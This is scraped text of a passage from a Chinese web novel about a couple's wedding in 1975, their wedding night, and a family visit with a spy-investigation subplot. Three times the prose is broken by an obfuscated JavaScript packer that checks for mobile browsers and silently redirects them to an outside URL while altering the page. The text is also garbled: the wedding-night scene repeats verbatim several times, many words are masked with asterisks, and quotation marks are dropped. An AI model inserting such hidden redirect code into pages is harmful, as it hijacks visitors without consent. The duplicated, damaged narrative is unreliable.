“海棠啊良辰这臭小子我没教好都不会做饭以后你要辛苦了不过洗菜切菜还有洗碗什么的你只管交给他干别惯着。” 姜海棠甜甜地笑着向何婉仪道谢。 陆良辰看得一愣一愣的这是什么情况刚才他打算向未来媳妇撒娇来的怎么就被亲娘教育了? “妈您真是我亲妈?” 袁一楠哈哈笑着说:“哎呦良辰大嫂现在可是海棠的亲妈你充其量就是个上门女婿。” 陆良辰:…… 发生了什么?他就从亲儿子变成了上门女婿? 不过家里人能喜欢海棠他是非常开心的。 陆良辰的手在桌子下面悄悄牵住了姜海棠的手。 姜海棠挣扎了一下没有挣脱也就由着他了。 饭后又聊了一会子天后按照陆老爷子的安排姜海棠带着小桃子跟着姜国柱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜老爷子小心翼翼取出黑胶唱片,牵起小桃子说:“来,太爷爷给你放个曲子。” 缓缓的音乐声从老唱片里流淌出来,正是那首《茉莉花》。 陆良辰慢慢的挪到姜海棠的跟前压低声音说道:“海棠,我不想回去,我回去了,想你的时候可怎么办?” 姜海棠悄悄在他腰上掐了一把说:“没出息,也不怕爷爷和小桃子听到了笑话。” “我想我媳妇,有什么怕人笑话的?再说了,爷爷恨不得咱们好得一个人似的,怎么会笑话我。” 陆良辰虽然刻意压低了声音,这一句话,还是正好被姜国柱听到了,他的手微微顿了一下。 是啊,他只想着,孙女儿能有人疼有人爱。 要是陆良辰这小子,一点点都不在乎孙女,他才真的会担心。 第252章 结婚了 接下来,陆良辰去开会了,陆家这边忙得不可开交。 毕竟要娶媳妇,就算简单办,但要准备的事情也有不少。 何婉仪将姜老爷子准备的料子连同她自己备好的布料一起,送去了时书岚找的那位手艺精湛的老裁缝那里。 老裁缝专门腾出时间给这对新人做衣服,姜海棠和陆良辰两个人的衣服很快就做好了。 姜海棠试过之后,确定都很合身,时书岚这才放心。 家里的新房也布置好了,虽然没有购买新家具,可是,都被何婉仪带着人仔仔细细的擦洗了一遍,都闪着光了。 1975年7月29日,农历六月初二十一,宜嫁娶。 姜海棠天没亮就起来了,她探头到窗外看看天气,天公作美,晴空**。 她正准备洗脸,袁一楠就到了。 “二婶,您来得这么早?” “不早了,虽然现在好多程序简化了,但到底是结婚,打扮起立还是要费些时间呢。” 袁一楠的手很巧,她没用复杂的发髻,而是将姜海棠乌黑浓密的长发仔细地梳理顺滑,然后轻柔地编成了一条蓬松而优雅的侧辫,发尾用一根红绸带系住,垂在肩头。 额前散落几缕碎发,衬得她面若桃花,温婉动人。 “真好看。”袁一楠看着镜子里的人儿,眼眶有些湿润,“我们海棠,明天一定是世界上最漂亮的新娘子。” “谢谢二婶。”姜海棠看着镜中焕然一新的自己,心也怦怦直跳。 已经起床的小桃子趴在床边,看着姜海棠乌黑的长发变了个样子,还扎了红绸子,立即拍着巴掌提供情绪价值。 “妈妈真好看!妈妈最好看。”小姑娘拍着手,又指着梳妆台上的雪花膏,“我也要香香!” 袁一楠笑着给小桃子抹了点:“好,我们家小桃子也要香香。” 小桃子抹了一点雪花膏之后,被袁一楠哄着带走了。 很快,迎亲的队伍就到了,是大院里一些和陆良辰一起长大的小伙子们。 他们每个人都骑着一辆自行车,陆良辰走在最前面,他的车头上还扎了一朵红绸花,十分喜庆。 姜家这边,统共只有姜国柱一个人,娶亲的过程十分顺利,很快,姜海棠就坐上了陆良辰的自行车。 而让陆良辰的一众发小们意外的是,姜家竟然准备了不少的嫁妆。 他们知道,陆良辰这媳妇是西北姑娘,只是因为姜家和陆家关系好,才会从姜家出嫁。 他们以为, 只是来接了新人就行,谁知道,陆老爷子这边安排人搬出来许多嫁妆,他们十来辆自行车上,差点装不下。 但众人也只是有一瞬间的疑惑,便自动脑补,这肯定是陆家担心新娘子没嫁妆不够体面,提前给她准备的。 殊不知,姜国柱看着孙女儿坐上陆良辰自行车后座的时候,哭了! 国营饭店的宴会厅里,摆着几桌简单的宴席。 门窗上贴着鲜红的双喜字,桌上摆着瓜子、花生和数量有限的水果糖。 因为今天来的都是至亲好友,气氛虽不奢华,却也温馨热闹。 姜海棠穿着一条裁剪简洁大方、没有任何多余装饰的大红色“的确良”连衣裙,衬得她肌肤胜雪。 她的脸上带着新嫁娘特有的娇羞红晕,眉眼弯弯,那份由内而外散发的幸福光彩,让她格外动人。 而陆良辰,穿着一件短袖白衬衫,搭配一条蓝色的裤子,就算这样十分平常的装扮,但因为陆良辰身姿挺拔,显得帅气无比。 他的目光一直都锁定在姜海棠的身上,眼神里的浓情蜜意掩饰不住。 惹得时书岚忍不住调侃他几句,可陆良辰也不放在心上,只是盯着姜海棠看,眼神深邃无比,有惊艳,有痴迷,有无可替代的满足,更涌动着浓烈的爱意。 姜海棠对上他灼热的目光,脸颊更红了,却忍不住回以他一个甜蜜而羞涩的笑容。 这一笑,更是让陆良辰的心跳漏了一拍。 他喉结滚动了一下,薄唇紧抿,极力克制着想要将姜海棠抱在怀里的冲动。 小桃子被陆卫国和陆保国两个哥哥牵着,穿着一身崭新的小红裙,头上也扎着红头绳。 她看到穿着红裙子的姜海棠,兴奋地拍着小手,小奶音又亮又甜:“哥哥,妈妈最漂亮,妈妈最漂亮!” 童言无忌的赞美惹得满堂宾客都善意地笑起来。 这个年代的结婚仪式其实很简单。 首先是一对新人在亲友的起哄声中背诵《**主席语录》:“我们都是来自**,为了一个共同的**目标走到一起来了……” 围观的亲友们有些见过姜海棠,有些却是第一次见到姜海棠。 他们心思各异,可是嘴上却不得不说着夸赞的话。 毕竟,能嫁给陆良辰这样的人,必定也有非同寻常的地方。 “新娘子真俊!” “哎呦,要是不说,我都以为,这姑娘是咱们大院里长大的了!” “可不,通身的气派看着就不是一般 人!” 亲友们你一言我一语地说着夸赞的话。 陆家几个国带着小桃子有模有样地给围观的小朋友发水果糖。 墙上是大红喜字,案台上摆着****和两本红宝书。 担任司仪的周副部长高声宣布:“**婚礼现在开始!” “第一项,向伟大领袖**主席鞠躬!” 一对新人向着**深深鞠躬,小桃子也学着父母的样子弯腰,差点栽倒,被陆保国一把扶住。 “乖宝,你小心点儿!”陆保国压低声音说着,唯恐破坏了婚礼的气氛。 等他拉着小桃子站定,婚礼仪式已经进行到了第二项。 “第二项,新人互赠**礼物!” 陆良辰送给姜海棠的是一支崭新的英雄金笔,笔帽上刻着“携手共建四个现代化“;姜海棠则回赠的也是一只英雄钢笔,钢笔上面刻着的话也都差不多。 “最后一项,请老**讲几句话!” 陆老爷子拄着拐杖站起来:“希望你们互相帮助,共同进步,为社会主义建设添砖加瓦!老伙计,今天是好日子,你也讲讲。” 姜国柱则红着眼眶最终却只说了一句:“好好过日子。” 包括周副部长在内,都挺奇怪姜老爷子的表现。 他们觉得,今天这样的日子,姜老爷子似乎比陆老爷子还要激动。 但众人并没有过多关注。 最后,周副部长高声朗读了一段主席语录:“……一切**队伍的人都要互相关心,互相爱护,互相帮助。”并勉励新人“牢记主席教导,互敬互爱,互相帮助,共同进步,做一对**的好夫妻”。 到了这里,礼成,掌声响起。 在掌声和祝福声中,陆良辰转过身,深深地凝视着姜海棠,眼中是毫不掩饰的爱恋。 他伸出手,紧紧地、珍重地握住了姜海棠的手,仿佛握住了整个世界。 姜海棠感受到他指尖的微颤,回望着他,脸颊绯红,也用力回握,两人相视而笑。 接着开席,菜肴是国营饭店提供的标准份例:一盘油亮亮的红烧肉,一盘金黄的炒鸡蛋,一盘清炒白菜,一盘土豆丝,还有一个飘着蛋花的紫菜汤,主食是白米饭和馒头。 虽然简单,但在这个年代已是难得的丰盛。 陆良辰虽然酒量不错,但架不住亲友的热情,喝了不少白酒,脸上泛起了红晕,眼神却越发明亮,始终温柔地追随着姜海棠的身影。 姜海棠则被女眷们围着说话,脸上一直带 着幸福的笑容,偶尔与陆良辰目光交汇,空气中便弥漫着甜蜜的暖意。 他们这样的互动,被不少人看到了,少不得有人揶揄打趣两句。 等酒席结束之后,宾客渐渐散去,一对新人被送回到新房里。 陆良辰的房间,此刻贴满了红双喜,床上撒着红枣、花生、桂圆、莲子,寓意“早生贵子”。 姜海棠正坐在床边,有些紧张地绞着手指,红烛摇曳,映得她侧脸温柔似水。 陆良辰反手关上门,一步步走到她面前,蹲下身,握住她的手。 他抬头仰视着她,眼神炽热而专注,仿佛怎么也看不够。 “累不累?”他声音低沉,带着酒后的沙哑。 姜海棠摇摇头,看着他深邃的眼眸,心尖都在发颤。 陆良辰的目光落在她左臂的纱布上,眼神暗了暗,但很快被温柔取代。 他小心翼翼地避开伤口,将她拉入怀中,让她坐在自己腿上。 “终于……”他长长地舒了口气,将脸埋在她的颈窝,深深吸了一口她身上淡淡的馨香,“终于把你娶回家了。” 姜海棠环住他的脖子,轻轻蹭了蹭他的面颊:“嗯,我以后就有家了。” 陆良辰抬起头,捧起她的脸,拇指轻轻摩挲着她细腻的脸颊。 他的目光在她脸上流连,从光洁的额头,到羞涩垂下的眼睫,再到挺翘的鼻尖,最后落在那嫣红的唇瓣上。 房间里只剩下红烛燃烧的细微噼啪声和两人逐渐清晰的心跳声。 “海棠……”他低唤,声音里带着蛊惑人心的沙哑。 “嗯?” 着幸福的笑容,偶尔与陆良辰目光交汇,空气中便弥漫着甜蜜的暖意。 他们这样的互动,被不少人看到了,少不得有人揶揄打趣两句。 等酒席结束之后,宾客渐渐散去,一对新人被送回到新房里。 陆良辰的房间,此刻贴满了红双喜,床上撒着红枣、花生、桂圆、莲子,寓意“早生贵子”。 姜海棠正坐在床边,有些紧张地绞着手指,红烛摇曳,映得她侧脸温柔似水。 陆良辰反手关上门,一步步走到她面前,蹲下身,握住她的手。 他抬头仰视着她,眼神炽热而专注,仿佛怎么也看不够。 “累不累?”他声音低沉,带着酒后的沙哑。 姜海棠摇摇头,看着他深邃的眼眸,心尖都在发颤。 陆良辰的目光落在她左臂的纱布上,眼神暗了暗,但很快被温柔取代。 他小心翼翼地避开伤口,将她拉入怀中,让她坐在自己腿上。 “终于……”他长长地舒了口气,将脸埋在她的颈窝,深深吸了一口她身上淡淡的馨香,“终于把你娶回家了。” 姜海棠环住他的脖子,轻轻蹭了蹭他的面颊:“嗯,我以后就有家了。” 陆良辰抬起头,捧起她的脸,拇指轻轻摩挲着她细腻的脸颊。 他的目光在她脸上流连,从光洁的额头,到羞涩垂下的眼睫,再到挺翘的鼻尖,最后落在那嫣红的唇瓣上。 房间里只剩下红烛燃烧的细微噼啪声和两人逐渐清晰的心跳声。 “海棠……”他低唤,声音里带着蛊惑人心的沙哑。 “嗯?” 着幸福的笑容,偶尔与陆良辰目光交汇,空气中便弥漫着甜蜜的暖意。 他们这样的互动,被不少人看到了,少不得有人揶揄打趣两句。 等酒席结束之后,宾客渐渐散去,一对新人被送回到新房里。 陆良辰的房间,此刻贴满了红双喜,床上撒着红枣、花生、桂圆、莲子,寓意“早生贵子”。 姜海棠正坐在床边,有些紧张地绞着手指,红烛摇曳,映得她侧脸温柔似水。 陆良辰反手关上门,一步步走到她面前,蹲下身,握住她的手。 他抬头仰视着她,眼神炽热而专注,仿佛怎么也看不够。 “累不累?”他声音低沉,带着酒后的沙哑。 姜海棠摇摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16030375|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,看着他深邃的眼眸,心尖都在发颤。 陆良辰的目光落在她左臂的纱布上,眼神暗了暗,但很快被温柔取代。 他小心翼翼地避开伤口,将她拉入怀中,让她坐在自己腿上。 “终于……”他长长地舒了口气,将脸埋在她的颈窝,深深吸了一口她身上淡淡的馨香,“终于把你娶回家了。” 姜海棠环住他的脖子,轻轻蹭了蹭他的面颊:“嗯,我以后就有家了。” 陆良辰抬起头,捧起她的脸,拇指轻轻摩挲着她细腻的脸颊。 他的目光在她脸上流连,从光洁的额头,到羞涩垂下的眼睫,再到挺翘的鼻尖,最后落在那嫣红的唇瓣上。 房间里只剩下红烛燃烧的细微噼啪声和两人逐渐清晰的心跳声。 “海棠……”他低唤,声音里带着蛊惑人心的沙哑。 “嗯?” 着幸福的笑容,偶尔与陆良辰目光交汇,空气中便弥漫着甜蜜的暖意。 他们这样的互动,被不少人看到了,少不得有人揶揄打趣两句。 等酒席结束之后,宾客渐渐散去,一对新人被送回到新房里。 陆良辰的房间,此刻贴满了红双喜,床上撒着红枣、花生、桂圆、莲子,寓意“早生贵子”。 姜海棠正坐在床边,有些紧张地绞着手指,红烛摇曳,映得她侧脸温柔似水。 陆良辰反手关上门,一步步走到她面前,蹲下身,握住她的手。 他抬头仰视着她,眼神炽热而专注,仿佛怎么也看不够。 “累不累?”他声音低沉,带着酒后的沙哑。 姜海棠摇摇头,看着他深邃的眼眸,心尖都在发颤。 陆良辰的目光落在她左臂的纱布上,眼神暗了暗,但很快被温柔取代。 他小心翼翼地避开伤口,将她拉入怀中,让她坐在自己腿上。 “终于……”他长长地舒了口气,将脸埋在她的颈窝,深深吸了一口她身上淡淡的馨香,“终于把你娶回家了。” 姜海棠环住他的脖子,轻轻蹭了蹭他的面颊:“嗯,我以后就有家了。” 陆良辰抬起头,捧起她的脸,拇指轻轻摩挲着她细腻的脸颊。 他的目光在她脸上流连,从光洁的额头,到羞涩垂下的眼睫,再到挺翘的鼻尖,最后落在那嫣红的唇瓣上。 房间里只剩下红烛燃烧的细微噼啪声和两人逐渐清晰的心跳声。 “海棠……”他低唤,声音里带着蛊惑人心的沙哑。 “嗯?” 着幸福的笑容,偶尔与陆良辰目光交汇,空气中便弥漫着甜蜜的暖意。 他们这样的互动,被不少人看到了,少不得有人揶揄打趣两句。 等酒席结束之后,宾客渐渐散去,一对新人被送回到新房里。 陆良辰的房间,此刻贴满了红双喜,床上撒着红枣、花生、桂圆、莲子,寓意“早生贵子”。 姜海棠正坐在床边,有些紧张地绞着手指,红烛摇曳,映得她侧脸温柔似水。 陆良辰反手关上门,一步步走到她面前,蹲下身,握住她的手。 他抬头仰视着她,眼神炽热而专注,仿佛怎么也看不够。 “累不累?”他声音低沉,带着酒后的沙哑。 姜海棠摇摇头,看着他深邃的眼眸,心尖都在发颤。 陆良辰的目光落在她左臂的纱布上,眼神暗了暗,但很快被温柔取代。 他小心翼翼地避开伤口,将她拉入怀中,让她坐在自己腿上。 “终于……”他长长地舒了口气,将脸埋在她的颈窝,深深吸了一口她身上淡淡的馨香,“终于把你娶回家了。” 姜海棠环住他的脖子,轻轻蹭了蹭他的面颊:“嗯,我以后就有家了。” 陆良辰抬起头,捧起她的脸,拇指轻轻摩挲着她细腻的脸颊。 他的目光在她脸上流连,从光洁的额头,到羞涩垂下的眼睫,再到挺翘的鼻尖,最后落在那嫣红的唇瓣上。 房间里只剩下红烛燃烧的细微噼啪声和两人逐渐清晰的心跳声。 “海棠……”他低唤,声音里带着蛊惑人心的沙哑。 “嗯?” 着幸福的笑容,偶尔与陆良辰目光交汇,空气中便弥漫着甜蜜的暖意。 他们这样的互动,被不少人看到了,少不得有人揶揄打趣两句。 等酒席结束之后,宾客渐渐散去,一对新人被送回到新房里。 陆良辰的房间,此刻贴满了红双喜,床上撒着红枣、花生、桂圆、莲子,寓意“早生贵子”。 姜海棠正坐在床边,有些紧张地绞着手指,红烛摇曳,映得她侧脸温柔似水。 陆良辰反手关上门,一步步走到她面前,蹲下身,握住她的手。 他抬头仰视着她,眼神炽热而专注,仿佛怎么也看不够。 “累不累?”他声音低沉,带着酒后的沙哑。 姜海棠摇摇头,看着他深邃的眼眸,心尖都在发颤。 陆良辰的目光落在她左臂的纱布上,眼神暗了暗,但很快被温柔取代。 他小心翼翼地避开伤口,将她拉入怀中,让她坐在自己腿上。 “终于……”他长长地舒了口气,将脸埋在她的颈窝,深深吸了一口她身上淡淡的馨香,“终于把你娶回家了。” 姜海棠环住他的脖子,轻轻蹭了蹭他的面颊:“嗯,我以后就有家了。” 陆良辰抬起头,捧起她的脸,拇指轻轻摩挲着她细腻的脸颊。 他的目光在她脸上流连,从光洁的额头,到羞涩垂下的眼睫,再到挺翘的鼻尖,最后落在那嫣红的唇瓣上。 房间里只剩下红烛燃烧的细微噼啪声和两人逐渐清晰的心跳声。 “海棠……”他低唤,声音里带着蛊惑人心的沙哑。 “嗯?” 第253章 新婚 “让我看看你的伤。”他的声音温柔却带着不容拒绝的坚持。 这伤,成了他心头的一道坎。 姜海棠顺从地抬起左臂。 陆良辰极其小心地,一层层解开纱布。 伤口已经结痂,是一条粉红色的新肉,在王医生给的祛疤药膏作用下,恢复得确实很好,看起来并不狰狞。 陆良辰的指尖极其轻柔地拂过那处伤疤,带着无限的爱怜和心疼。 他低下头,温热的唇瓣虔诚地、无比轻柔地印在那道伤疤上。 姜海棠身体微微一颤,一股暖流伴随着酥麻从伤疤处蔓延开,直抵心尖。 陆良辰抓住她的手,放在唇边吻了吻。 他的目光再次变得炽热起来,里面翻涌着压抑了许久的渴望和浓烈的情感。 空气仿佛凝固了,又仿佛被点燃了。 姜海棠被他看得浑身发烫,手指无意识地抓紧了他胸前的衣襟。 陆良辰的喉结再次滚动了一下,然后,他缓缓地、坚定地低下头,吻上了他渴望已久的红唇。 这一次,不再是安抚,不再是试探。 而是带着滚烫的温度和攻城略地的决心,温柔又强势地汲取着她的甜美。 他的吻辗转深入,带着酒香和他身上独有的、令人安心的气息,瞬间夺走了姜海棠所有的呼吸和理智。 她闭上眼回应着,双手攀上他宽阔的脊背。 所有的紧张和羞涩,都在这个吻里融化成了甜蜜的暖流。 窗外月色正好,清辉透过窗棂洒落一地温柔。 新房内,一双璧人眼中只有彼此,只剩下彼此交融的气息和越来越快的心跳声,诉说着最深切的爱恋和对未来共同的期许。 天刚蒙蒙亮,姜海棠就醒了。 她睁开眼,发现自己被陆良辰结实的手臂环抱着,后背紧贴着他温暖的胸膛。 男人的呼吸均匀地拂过她的后颈,带着令人安心的温度。 她轻轻动了动,想转身看看他,却听见头顶传来带着睡意的沙哑声音:“再睡会儿……” 陆良辰的手臂收得更紧了些,下巴在她发顶蹭了蹭。 姜海棠抿嘴笑了,脸颊贴着他肌肉结实的手臂。 昨晚的记忆潮水般涌来,让她耳根发烫。 姜海棠轻轻握住陆良辰的手:“该起了,一会儿妈该来叫了。” “妈可不是这样的人,你安心睡着就是。”陆良辰亲了一下姜海棠的手说道。 “妈不找我们,小桃 子醒来了,估计还是要找我们,也不知道昨天晚上小桃子跟着妈有没有闹人。 “咱们小桃子多乖巧一个孩子,怎么可能闹人?海棠,才新婚第一天,你就总想着别人。 看着撒娇的大男人,姜海棠没忍住笑了。 “你还笑,你还笑! “不笑了,不笑了,你在我心里是第一位的!这样可以了吗?姜海棠只能搂住他的脖子,在他面颊上落下一个吻。 但显然,陆良辰并不满足于这样一个吻,他立即朝着姜海棠的嘴唇亲了上去。 就在这时候房门外传来了何婉仪哄着小桃子的声音。 显然是小桃子睡醒之后想找妈妈了。 “小桃子找我们了! 陆良辰虽然有些遗憾,但还是在轻啄一口后翻身坐起来,动作利落地套上背心。 等他们收拾妥当开门时,小桃子已经穿戴整齐,正被袁一楠牵着在院子里转悠。 看见父母出来,小姑娘立刻挣脱袁一楠的手,像只小蝴蝶似的扑过来:“爸爸!妈妈! 陆良辰弯腰把女儿抱起来,在她红扑扑的小脸上亲了一口:“小桃子昨晚睡得好吗? “好!就是醒来之后想妈妈了。小桃子响亮地回答,然后好奇地盯着姜海棠看,“妈妈今天最漂亮! 姜海棠被女儿天真的话语逗笑了,接过小桃子亲了亲。 何婉仪端着一盆热水走过来,脸上带着了然的微笑:“来,先洗把脸。早饭做好了。 姜海棠其实有些羞涩,毕竟,才结婚第一天,就比婆婆起来的晚,这让她很不好意思。 “良辰,海棠还受着伤呢,你可不能太闹腾。 “妈,我知道,我媳妇儿,我心疼着呢。陆良辰立即说。 “吃完饭我们就去上班了,你们今天在家好好休息。三天回门的东西不用你们操心,我帮你们准备就行。 吃饭的时候,何婉仪还在絮絮叨叨地说着。 姜海棠和陆良辰都应下。 等家里人上班的上班,上学的上学,就只剩下他们一家三口了。 姜海棠打算继续梳理夜梦空间里学习到的知识,陆良辰便带着小桃子去外面玩。 小姑娘却有些没兴趣。 “小桃子不想玩这个? “我想和哥哥们玩。小桃子低垂着脑袋说道。 陆良辰没想到,小闺女居然会这么说,一时间还真有些失落了。 “小桃子这是不喜欢爸爸了? 小桃子忙抱住陆良辰的腿说道:“当然喜欢爸爸,只是也喜欢哥哥们。 “可是,哥哥们现在都去上学了,只能爸爸陪着小桃子了。 “小桃子也要快快回去上学! “好,等咱们过几天回去,小桃子就可以上学了。 转眼,就是新婚后第三日。 姜海棠这日起得很早。 “天都还没亮呢,再躺会儿。姜海棠刚要起身,却被陆良辰结实的手臂圈回被窝里。 陆良辰带着睡意的声音在她耳边响起,很是有诱惑力。 “今天要回爷爷家,我担心爷爷等的时间长。姜海棠低声说着。 陆良辰只能不情不愿地松开手,顺手打开房间里的灯,斜倚在床头看着姜海棠。 姜海棠穿了一件短袖衬衫,灯光照在她左臂那道淡粉色的疤痕上,他眼神暗了暗。 “看什么?姜海棠问。 “还疼不疼?陆良辰突然翻身下床,从背后抱住她,“感觉到了吗?我心疼! “怎么忽然注意到这里了?姜海棠还是没闹明白,怎么忽然就盯上她的伤了? “我注意的地方可多了,不光是这里。陆良辰手指灵巧地解开刚系好的纽扣,“比如这里……还有这里.…… “陆良辰!姜海棠手忙脚乱地抓住他作乱的手,“别闹了好不好? “晚上你要补偿我,我就不闹了! 为了安抚这个食髓知味的男人,姜海棠只能赶紧答应下来。 两个人闹了一小会儿,外面天色已经亮了起来。 陆良辰看看窗外的光景,想着姜爷爷还真有可能这么早就起床等着孙女儿,便也松开姜海棠开始穿衣服。 “走吧,我们早点过去,陪着爷爷吃早餐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034694|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们下楼的时候,何婉仪也刚起床,因看到小夫妻早早起床,笑着说:“我才说去叫你们起床,让你们早些过去呢。 陆老爷子也已经在客厅里了,正在教小桃子认军衔肩章。 见小两口下楼,老人促狭地眨眨眼:“海棠起来了,赶紧收拾下过去,我估计老姜等着你们一起吃早餐呢。 打了大半辈子交道,陆老爷子对姜老爷子这个老伙计还是很了解的。 现在,姜海棠这个唯一的孙女,就是他的命根子,要不是身体不允许,他都怀疑,这老家伙会主动请求调动去西北。 “谢谢爷爷!我们这就过去! “你们很快就要回西北,这几天有时 间,就多陪陪你爷爷。”陆老爷子又叮嘱了几句。 何婉仪已经拎着好些东西过来,她将东西一股脑的塞到陆良辰手里说:“赶紧去吧。” “报告**!”门口突然传来洪亮的声音。 一个年轻士兵立正敬礼:“姜**让我来问,陆厂长和姜工什么时候过去?” 其实,年轻的士兵还是觉得挺奇怪,一大早的,姜**就催促他上门请人去做客,真的好吗? 不过,这是**安排的,应该有道理,因此,他也没多想,只管完成任务就行。 满屋子人都笑起来,尤其是陆老爷子,哈哈笑着。 “我就知道,这老小子没耐心。快去吧快去吧!” 小兵没想到,陆**这边真的这么早就准备做客了,好像还准备了不少礼物呢。 “陆**,姜**也邀请您过去,说是要和您下棋。” “我就不去了,今天还有其他事情,让我孙子和孙媳妇陪他玩!”陆老爷子摆摆手,转身上楼去了。 两家相距并不远,都在一个大院子里,走路也就几分钟。 等他们到了姜家的小院子里,姜国柱已经在警卫员的陪伴下站在院子里等着了。 陆良辰整了整军装领口,不由有些紧张。 虽然已经来过很多次,但今天身份不同,是作为孙女婿回门。 他感觉手心里微微出汗。 姜国柱的警卫员小张笑着迎出来:“陆厂长,海棠姐!**等你们半天了!” 姜老爷子看见孙女,眼睛一亮,闪着泪花。 他的孙女儿啊,成家了。 要是儿子和儿媳妇在天上能看到孩子长得这么好,嫁得这么好,应该会很欣慰吧? “来了就好,来了就好,怎么还带着这么多东西?”姜老爷子显然是看到陆良辰手里的礼物了,遂说道。 陆良辰忙谄媚地说:“爷爷,我爷爷说,这些都是您喜欢的,您看看,要是有不喜欢的,我再给您弄好的。” “别在我这里套近乎,以后对海棠好些就行。”姜老爷子瞪了陆良辰一眼。 这个孙女婿确实不错,可是和孙女儿比起来,还是要排到后面去。 小桃子已经哒哒哒地跑过去抱住了姜国柱的腿。 “太爷爷,小桃子好想你哦,想得心都疼了!” 小家伙的一句话,姜老爷子心都软了,立即抱住小家伙。 “真的?没有骗我?” “小桃子好像乖宝宝,才不骗人,真的想太爷爷了,很想很想!” 前几天,小桃子跟着姜海棠一起住在姜家,和姜老爷子相处得十分好。 这些话也是真心实意。 第254章 老朋友 几个人说了几句,一起到了屋里。 桌上早就摆好了丰盛的早餐,除了豆浆油条包子小米粥,竟然还有牛奶面包。 陆良辰震惊了一下。 “哇哦,好多好吃的!”小桃子已经捂着小嘴巴叫了起来。 “小桃子想吃什么,给太爷爷说。” “我都要吃!”小桃子画了一个大圈说,仔细看,小嘴巴上都已经开始流口水了。 那奉命去接姜海棠和陆良辰的小兵还是没明白,为啥姜**对陆家这小两口这么喜欢。 但看着姜**脸上这样灿烂的笑,他觉得,要是这一家三口能让老**开心,他天天去请他们过来做客都行。 这日,他们一家三口一直陪着姜老爷子,到了下午太阳偏西的时候,姜国柱开始催促他们回家。 按照规矩,太阳落山前,新人要回去。 “爷爷,您和我们一起过去吧,晚上咱们一起吃饭,热闹些。”陆良辰说道。 姜国柱才要拒绝,结果被小桃子拉住了他的手。 小家伙晃着姜国柱的大手撒娇:“太爷爷,跟着我们一起回去嘛!一起回去嘛!” 最终,姜国柱也没拗过一家三口,还是跟着一起去了陆家。 晚饭时候,陆老爷子问起他们什么时候回西北。 “再有一周时间就要回去了,我和海棠就这么几天假期。” 陆良辰说话的时候,看了看姜老爷子,他心里清楚,姜爷爷心里是多么舍不得海棠。 果然,姜国柱的脸上表情微微有些凝滞,但也只是一瞬间,就又放松了下来。 人不能如此贪心,以前他一个人孤零零的,现在有了孙女,知道孙女好好的,就该知足了。 “海棠,周副部长那边希望你能留在京城,你真的不考虑?” 袁一楠也看出来了,姜老爷子很是舍不得唯一的孙女走那么远。 姜海棠看着姜国柱老爷子,迟疑了一下,但最终还是硬下心肠说:“明年或者后年再回来吧。” “纺织厂和机械厂推进的好几个项目都才开始,等这些项目差不多,再培养起来几个能顶用的技术人员,我就回来。” 到了明年或者后年,国家政策变了,许多人能够回到原本的岗位上。 顾昀笛和舒启华两位老师也能恢复本来的身份,她就可以放心的将那些已经开始推进的项目交给他们,然后回京城陪着爷爷了。 姜国柱听到孙女儿说明年或者后年就回来,心里到底好受了许多。 有日子回来就行,就怕这两个孩子这辈子扎根在大西北。 “海棠啊,你的选择是对的,为了国家的建设,我们每个人都应该舍弃一些。” 虽然不舍,但姜国柱还是十分坚定的表示,会支持孙女儿。 “爷爷,我知道,我会认真工作,成为您的骄傲。”姜海棠郑重点头,向姜老爷子保证。 大院里这些人,许多人家的后辈都是从小开始培养,用资源堆积,走上了从军或者从政的道路。 但她前二十年都在西北,注定了在这个大院里是默默无闻的那一个,但即便在平凡的岗位上,姜海棠还是觉得,应该更加努力一些,让爷爷为自己骄傲。 “好孩子,爷爷只要你平平安安就行了,就算你……那也是爷爷的骄傲!” 饭后,姜老爷子和陆老爷子去了书房,陆良辰也跟着过去了。 陆老爷子拧亮了台灯,昏黄的灯光下,三人的影子投在贴满作战地图的墙上,显得格外凝重。 “爷爷,姜爷爷,我这段时间调查出了一些新的线索,虽然还不能完全确定岳父岳母牺牲的原因,但应该距离真相不远了。”陆良辰严肃的对两位老人说。 “你查到什么了?”姜国柱的声音更加苍老,手指无意识地摩挲着一个红色的五星,这枚儿子留下的红色五星,他一直带着,从不离身。 陆良辰从衣服内袋掏出一个牛皮纸信封,抽出几张泛黄的文件。 “二十年前那场边境冲突,岳父带领的特勤小队遭遇伏击,不是因为情报失误……而是有人提前泄露了行军路线。” 姜国柱扶着桌子的手微微颤抖着,一句话都没说。 “当**,应该只挖出了基层人员。根据最新线索,当**情可能与五年前抓获的‘夜枭’相关,而且,‘夜枭’很有可能不是一个人,而是一个潜伏在各大军区的特务网络。” 窗外突然电闪雷鸣,暴雨倾盆而下。 惨白的闪电照亮了姜国柱铁青的脸,老人额头上的青筋突突直跳。 即便是已经过去二十年,可谈到儿子和儿媳的死,他依然不能平静。 “二十年……他们走了整整二十年……” 陆老爷子按住老战友的肩膀,“老姜,良辰既然能查到这些,说明组织上已经在行动了!我们肯定会为他们报仇,为那些无辜死去的战士报仇!” 